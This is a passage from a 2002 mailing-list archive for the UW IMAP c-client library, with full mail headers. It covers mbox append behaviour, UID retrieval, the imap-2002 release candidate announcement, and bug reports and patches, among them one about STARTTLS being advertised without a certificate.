c-client@u.washington.edu Subject: Re: Unix-format mbox problem when no /var/spool/mail entry References: <3D29F04C.143F74A@ucalgary.ca> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Accept-Language: en,fr-CA X-MailScanner: Found to be clean X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Mark Crispin wrote: > > The mbox exists, is readable, etc, but is not appendable. > > Why is that? > I guess I was confirming whether indeed the operation was non-standard or just overlooked. In the case of reading mail, IMAP goes to the mbox (always exists) when it find no spool entry, but in the case of appending it isn't doing that--it stops with that error and I guess I was looking for an answer to where that might be fixable. Deb From pinedev@shivax2.cac.washington.edu Wed Jul 10 20:48:18 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 10 Jul 2002 20:48:18 -0700 (PDT) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g6B3mH2P027501 for ; Wed, 10 Jul 2002 20:48:17 -0700 Received: FROM mx2.cac.washington.edu BY mailscan5.cac.washington.edu ; Wed Jul 10 20:48:16 2002 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g6B3mFpB015558 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 10 Jul 2002 20:48:16 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g6B3lhR8027926; Wed, 10 Jul 2002 20:47:43 -0700 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g6B3ioNn068774 for ; Wed, 10 Jul 2002 20:44:50 -0700 Received: FROM mxu3.u.washington.edu BY mailscan1.cac.washington.edu ; Wed Jul 10 20:44:49 2002 -0700 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g6B3inbr025584 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 10 Jul 2002 20:44:49 -0700 Received: from mailscan-out2.cac.washington.edu (mailscan-out2.cac.washington.edu [140.142.33.17]) by mxout4.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g6B3inS4016858 for ; Wed, 10 Jul 2002 20:44:49 -0700 Received: FROM smtp.washington.edu BY mailscan-out2.cac.washington.edu ; Wed Jul 10 20:44:48 2002 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g6B3imTb000301 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Wed, 10 Jul 2002 20:44:48 -0700 Message-Id: Date: Wed, 10 Jul 2002 20:44:49 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Deb Teale Cc: c-client@u.washington.edu Subject: Re: Unix-format mbox problem when no /var/spool/mail entry In-Reply-To: <3D2B41EF.479BACB1@ucalgary.ca> References: <3D29F04C.143F74A@ucalgary.ca> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 9 Jul 2002, Deb Teale wrote: > > > The mbox exists, is readable, etc, but is not appendable. > > Why is that? > I guess I was confirming whether indeed the operation was non-standard or just > overlooked. In the case of reading mail, IMAP goes to the mbox (always > exists) when it find no spool entry, but in the case of appending it isn't > doing that--it stops with that error and I guess I was looking for an answer > to where that might be fixable. Let's back up a moment. Are you saying that the mbox file is write-locked? If so, how do you expect writes to work to it? If you are saying that appends to a write-enabled mbox don't work, I can't reproduce that problem. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Thu Jul 11 13:08:09 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 11 Jul 2002 13:08:09 -0700 (PDT) Return-Path: Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g6BK882P022497 for ; Thu, 11 Jul 2002 13:08:08 -0700 Received: FROM mx2.cac.washington.edu BY mailscan6.cac.washington.edu ; Thu Jul 11 13:08:07 2002 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g6BK84pB005994 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 11 Jul 2002 13:08:05 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g6BK7JR8034158; Thu, 11 Jul 2002 13:07:19 -0700 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g6BK5LNn097336 for ; Thu, 11 Jul 2002 13:05:21 -0700 Received: FROM mxu4.u.washington.edu BY mailscan3.cac.washington.edu ; Thu Jul 11 13:05:21 2002 -0700 Received: from ts2.bynari.net (gw1.bynari.net [216.234.228.98]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g6BK5Klq011202 for ; Thu, 11 Jul 2002 13:05:21 -0700 Received: from i3-113.bynari.net ([192.168.3.113] helo=samadams.bynari.net) by ts2.bynari.net with esmtp (Exim 3.36 #1) id 17SkzI-0000ez-00 for c-client@u.washington.edu; Thu, 11 Jul 2002 20:56:32 +0000 Message-Id: <1026418214.13228.143.camel@samadams.bynari.net> Date: 11 Jul 2002 15:10:14 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Shawn Walker To: c-client@u.washington.edu Subject: mail_append_full() and UID? Content-Type: text/plain Content-Transfer-Encoding: 7bit Mime-Version: 1.0 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Is there anyway to figure out what the new message number UID is without having to to using MAILSTREAM.nmsgs and use mail_uid() to get it? Sometimes mail_append_full() never call mail_exists() that updates the number of messages on the server. The message was successfully uploaded to the server. -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Jul 11 13:14:11 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 11 Jul 2002 13:14:11 -0700 (PDT) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g6BKEB2P022778 for ; Thu, 11 Jul 2002 13:14:11 -0700 Received: FROM mx1.cac.washington.edu BY mailscan4.cac.washington.edu ; Thu Jul 11 13:14:10 2002 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g6BKE5oF021837 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 11 Jul 2002 13:14:05 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g6BKDWR8034824; Thu, 11 Jul 2002 13:13:32 -0700 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g6BKCRNn104490 for ; Thu, 11 Jul 2002 13:12:27 -0700 Received: FROM mxu3.u.washington.edu BY mailscan3.cac.washington.edu ; Thu Jul 11 13:12:26 2002 -0700 Received: from Ikkoku-Kan.Panda.COM (ikkoku-kan.panda.com [206.124.149.114] (may be forged)) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g6BKCPbq024716 for ; Thu, 11 Jul 2002 13:12:26 -0700 Received: from Ikkoku-Kan.Panda.COM (Ikkoku-Kan.Panda.COM [192.107.14.50]) by Ikkoku-Kan.Panda.COM id NAA02332; Thu, 11 Jul 2002 13:12:16 -0700 (PDT) Message-Id: Date: Thu, 11 Jul 2002 13:11:12 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Shawn Walker Cc: c-client@u.washington.edu Subject: re: mail_append_full() and UID? In-Reply-To: <1026418214.13228.143.camel@samadams.bynari.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On 11 Jul 2002 15:10:14 -0500, Shawn Walker wrote: > Is there anyway to figure out what the new message number UID is without > having to to using MAILSTREAM.nmsgs and use mail_uid() to get it? > Sometimes mail_append_full() never call mail_exists() that updates the > number of messages on the server. The message was successfully uploaded > to the server. The simple answer is no. The more complex answer is that the only safe say to get the UID is to select the destination mailbox *after* doing the append and searching for the message id. From pinedev@shivax2.cac.washington.edu Fri Jul 12 19:35:49 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 12 Jul 2002 19:35:49 -0700 (PDT) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g6D2Zn2P009953 for ; Fri, 12 Jul 2002 19:35:49 -0700 Received: FROM mx1.cac.washington.edu BY mailscan3.cac.washington.edu ; Fri Jul 12 19:35:48 2002 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g6D2ZioF001946 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 12 Jul 2002 19:35:44 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g6D2Z4qt032742; Fri, 12 Jul 2002 19:35:05 -0700 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g6D2VKNn032670 for ; Fri, 12 Jul 2002 19:31:20 -0700 Received: FROM mxu1.u.washington.edu BY mailscan3.cac.washington.edu ; Fri Jul 12 19:31:19 2002 -0700 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g6D2VJR8003206 for ; Fri, 12 Jul 2002 19:31:19 -0700 Received: FROM mx2.cac.washington.edu BY mailscan3.cac.washington.edu ; Fri Jul 12 19:31:19 2002 -0700 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.19]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g6D2VJpB018621 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Fri, 12 Jul 2002 19:31:19 -0700 Received: from mailscan-out1.cac.washington.edu (mailscan-out1.cac.washington.edu [140.142.32.17]) by mxout3.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g6D2VJYu023071 for ; Fri, 12 Jul 2002 19:31:19 -0700 Received: FROM smtp.washington.edu BY mailscan-out1.cac.washington.edu ; Fri Jul 12 19:31:18 2002 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g6D2VICR000795 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Fri, 12 Jul 2002 19:31:18 -0700 Message-Id: Date: Fri, 12 Jul 2002 19:31:14 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: IMAP Interest List , c-client Interest List Subject: ANNOUNCING: UW IMAP toolkit 2002 release candidate 1 MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This message is to announce the release of release candidate 1 of the University of Washington's IMAP toolkit, version 2002 (imap-2002), on ftp://ftp.cac.washington.edu/mail/imap-2002.RC1.tar.Z The imap.tar.Z link now points to this version, and imap-2001a has been moved to the old/ directory. imap-2002 will a major release. The most notable new functionality for end users: 1) A new program, called mailutil, is now bundled with the IMAP toolkit. mailutil replaces the old chkmail, imapcopy, imapmove, imapxfer, mbxcopy, mbxcreat, and mbxcvt programs. mailutil has expanded functionality over the programs it replaces, most notably over imapxfer. 2) The dmail, tmail, and mlock programs from the imap-utils are now bundled with the IMAP toolkit. 3) IMAP server managers now have a much easier tool to use to limit access to remote mailboxes using the new restrictBox variable in env_unix.c. 4) The IMAP extension to BODYSTRUCTURE for the Content-Location header is now supported. 5) The FAQ has been expanded, and now is offered in HTML. There are also numerous c-client library improvements of interest to programmers, discussed in the RELNOTES. Sites currently running older versions are encouraged to give imap-2002 a try, and report any discovered problems to me. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. -- ----------------------------------------------------------------- For information about this mailing list, and its archives, see: http://www.washington.edu/imap/imap-list.html ----------------------------------------------------------------- From pinedev@shivax2.cac.washington.edu Fri Jul 19 10:35:05 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 19 Jul 2002 10:35:05 -0700 (PDT) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g6JHZ52P000986 for ; Fri, 19 Jul 2002 10:35:05 -0700 Received: FROM mx1.cac.washington.edu BY mailscan4.cac.washington.edu ; Fri Jul 19 10:35:04 2002 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g6JHZ0oF028851 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 19 Jul 2002 10:35:00 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g6JHWalZ006260; Fri, 19 Jul 2002 10:32:36 -0700 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g6JHTheY024074 for ; Fri, 19 Jul 2002 10:29:43 -0700 Received: FROM mxu1.u.washington.edu BY mailscan6.cac.washington.edu ; Fri Jul 19 10:29:42 2002 -0700 Received: from instantservers.com (adsl-63-193-225-142.dsl.snfc21.pacbell.net [63.193.225.142]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g6JHTfR8014317 for ; Fri, 19 Jul 2002 10:29:41 -0700 Received: by instantservers.com from adsl-63-193-225-140.dsl.snfc21.pacbell.net(63.193.225.140) with SMTP; Fri, 19 Jul 2002 10:28:53 -0700 Message-Id: <3D384C75.24915A28@instantservers.com> Date: Fri, 19 Jul 2002 10:29:25 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Carl Stehle To: "c-client@u.washington.edu" Subject: NT's dummy_valid -- bug(?) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN While tracking an unrelated problem, I inadvertently discovered that the pathname used in nt\dummynt.c dummy_valid() is incorrect. (The strrchr changes the variable s so stat doesn't work). Not sure where (or if) this routine is used, but here is a trivial fix. None of the other platforms have dummy_valid routines which do this, so they are unaffected. --- DRIVER *dummy_valid (char *name) { char *s,*t,tmp[MAILTMPLEN]; struct stat sbuf; /* must be valid local mailbox */ if (name && *name && (*name != '{') && (s = mailboxfile (tmp,name))) { /* indeterminate INBOX */ if (!*s) return &dummydriver; /* remove trailing \ */ if ((t = strrchr (s,'\\')) && !t[1]) *t = '\0'; else if (!stat (s,&sbuf)) switch (sbuf.st_mode & S_IFMT) { case S_IFREG: /* file */ case S_IFDIR: /* future use */ return &dummydriver; } } return NIL; } --- Regards, Carl Stehle -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sun Jul 21 14:02:20 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 21 Jul 2002 14:02:20 -0700 (PDT) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g6LL2J2P005085 for ; Sun, 21 Jul 2002 14:02:19 -0700 Received: FROM mx1.cac.washington.edu BY mailscan3.cac.washington.edu ; Sun Jul 21 14:02:14 2002 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g6LL2DoF020761 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Sun, 21 Jul 2002 14:02:13 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g6LL1Nqt020014; Sun, 21 Jul 2002 14:01:23 -0700 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g6LKwZeY056400 for ; Sun, 21 Jul 2002 13:58:35 -0700 Received: FROM mxu4.u.washington.edu BY mailscan3.cac.washington.edu ; Sun Jul 21 13:58:34 2002 -0700 Received: from smtp.hccnet.nl (smtp.hccnet.nl [62.251.0.13]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g6LKwXlq031886 for ; Sun, 21 Jul 2002 13:58:34 -0700 Received: from anakin by smtp.hccnet.nl via fia123-125.dsl.hccnet.nl [62.251.125.123] with SMTP for id WAA06628 (8.8.8/1.13); Sun, 21 Jul 2002 22:58:25 +0200 (MET DST) Message-Id: <200207212058.WAA06628@smtp.hccnet.nl> Date: Sun, 21 Jul 2002 22:59:21 +0200 Reply-To: "E.R. Wijburg" Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "E.R. Wijburg" To: "c-client@u.washington.edu" Subject: What component missing: unable to compile imap-2002. MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Some days ago I posted a note beginning as follows: > Can someone tell this stupid beginner what component he s missing to b= e > able to compile de imap-2002 source code on his RedHat 6.1 system? Since then I ve found out that hot-headedness makes short sighted and I = should apologise: My RH 6.1 system had egcs and kernel headers installed but not the kerne= l source-code or glibc-devel. After installing the needed RPM s my compile went on flawless. Must now see if I get everything working. -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Jul 22 05:22:53 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 22 Jul 2002 05:22:53 -0700 (PDT) Return-Path: Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g6MCMr2P031794 for ; Mon, 22 Jul 2002 05:22:53 -0700 Received: FROM mx1.cac.washington.edu BY mailscan2.cac.washington.edu ; Mon Jul 22 05:22:47 2002 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g6MCMloF006671 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 22 Jul 2002 05:22:47 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g6MCM3R8057496; Mon, 22 Jul 2002 05:22:03 -0700 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g6MCKMeY099402 for ; Mon, 22 Jul 2002 05:20:26 -0700 Received: FROM mxu3.u.washington.edu BY mailscan1.cac.washington.edu ; Mon Jul 22 05:20:22 2002 -0700 Received: from john.connect.org.uk (john.connect.org.uk [193.41.154.10]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g6MCKLbq000728 for ; Mon, 22 Jul 2002 05:20:21 -0700 Received: from mmail by john.connect.org.uk with local (connectmail/exim) id 17WcAg-0001PY-00 for c-client@u.washington.edu; Mon, 22 Jul 2002 13:20:14 +0100 Message-Id: Date: Mon, 22 Jul 2002 13:20:14 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Jon Kyme" To: Subject: Mime boundary woes X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN We're using IMAP2000 (2000.287) and have noticed a problem with MIME messages with a content type like this: Content-Type: multipart/alternative; boundary=----_=_NextPart_001_01C18267.98C4C800 If I edit this header to quote the boundary all is well, but otherwise we see stuff like OK [PARSE] Unexpected characters at end of parameters: =_NextPart_001_01C18267.98C4C800 And the bodystructure is corrupt. Is this fixed in a later version? Or is there something I should be doing? TIA -- all the best to you and yours ... -------------------------------------------------------------------- Get your own FREE local e-mail address at http://www.merseymail.com/ -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Jul 22 08:36:49 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 22 Jul 2002 08:36:48 -0700 (PDT) Return-Path: Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g6MFam2P003566 for ; Mon, 22 Jul 2002 08:36:48 -0700 Received: FROM mx2.cac.washington.edu BY mailscan2.cac.washington.edu ; Mon Jul 22 08:36:47 2002 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g6MFakpB023901 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 22 Jul 2002 08:36:47 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g6MFa4lZ020124; Mon, 22 Jul 2002 08:36:04 -0700 Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g6MFYPeY031132 for ; Mon, 22 Jul 2002 08:34:25 -0700 Received: FROM mxu3.u.washington.edu BY mailscan4.cac.washington.edu ; Mon Jul 22 08:34:25 2002 -0700 Received: from gateway.zk3.dec.com (nashua.zk3-x.dec.com [206.152.163.42]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g6MFYObq003029 for ; Mon, 22 Jul 2002 08:34:25 -0700 Received: by gateway.zk3.dec.com; (5.65v4.0/1.3/10May95) id AA24770; Mon, 22 Jul 2002 11:34:24 -0400 Received: from hickory by islet.zk3.dec.com (8.12.3/1.1.2.10/19Mar01-0238PM) id g6MFYNvx236162; Mon, 22 Jul 2002 11:34:24 -0400 (EDT) Message-Id: <00c601c23195$4196df90$57008d10@zk3.dec.com> Date: Mon, 22 Jul 2002 11:34:22 -0400 Reply-To: "Peter Derr" Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Peter Derr" To: Subject: certificate checking in ssl_start_tls() Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-Msmail-Priority: Normal X-Mimeole: Produced By Microsoft MimeOLE V5.50.4807.1700 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN In imap-2002.RC1, in src/imapd/imapd.c this code at line 3169 is used to decide whether to advertise STARTTLS capability: if (s = ssl_start_tls (NIL)) fs_give ((void *) &s); else PSOUT (" STARTTLS"); But, in src/osdep/unix/ssl_unix.c the ssl_start_tls() function doesn't check whether the certificate exists if passed a null pointer as the server parameter: /* Start TLS * Accepts: /etc/services service name * Returns: cpystr'd error string if TLS failed, else NIL for success */ char *ssl_start_tls (char *server) { char tmp[MAILTMPLEN]; struct stat sbuf; if (sslstdio) return cpystr ("Already in an SSL session"); if (start_tls) return cpystr ("TLS already started"); if (server) { /* build specific certificate/key file name */ sprintf (tmp,"%s/%s-%s.pem",SSL_CERT_DIRECTORY,server,tcp_serveraddr ()); if (stat (tmp,&sbuf)) { /* use non-specific name if no specific file */ sprintf (tmp,"%s/%s.pem",SSL_CERT_DIRECTORY,server); if (stat (tmp,&sbuf)) return cpystr ("Server certificate not installed"); } start_tls = server; /* switch to STARTTLS mode */ } return NIL; } The result is that, if built with SSL capability, the imapd server advertises STARTTLS even when there's no certificate. One way to get around this is to pass something other than "NIL" when calling ssl_start_tls from imapd.c, for example: *** 3166,3172 **** } if (flag <= 0) { /* want pre-authentication capabilities? */ PSOUT (" LOGIN-REFERRALS"); ! if (s = ssl_start_tls (NIL)) fs_give ((void *) &s); else PSOUT (" STARTTLS"); /* disable plaintext */ if (mail_parameters (NIL,GET_DISABLEPLAINTEXT,NIL)) { --- 3166,3172 ---- } if (flag <= 0) { /* want pre-authentication capabilities? */ PSOUT (" LOGIN-REFERRALS"); ! if (s = ssl_start_tls ("imapd")) fs_give ((void *) &s); else PSOUT (" STARTTLS"); /* disable plaintext */ if (mail_parameters (NIL,GET_DISABLEPLAINTEXT,NIL)) { Is this a good solution or is there a better way? Thanks, Peter Derr HP Tru64 UNIX Engineering -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Jul 23 10:06:34 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 23 Jul 2002 10:06:34 -0700 (PDT) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g6NH6X2P024407 for ; Tue, 23 Jul 2002 10:06:33 -0700 Received: FROM mx2.cac.washington.edu BY mailscan3.cac.washington.edu ; Tue Jul 23 10:06:32 2002 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g6NH6QpB031935 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 23 Jul 2002 10:06:27 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g6NH5XlZ032848; Tue, 23 Jul 2002 10:05:33 -0700 Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g6NH20eY031200 for ; Tue, 23 Jul 2002 10:02:01 -0700 Received: FROM mxu2.u.washington.edu BY mailscan5.cac.washington.edu ; Tue Jul 23 10:02:00 2002 -0700 Received: from john.connect.org.uk (john.connect.org.uk 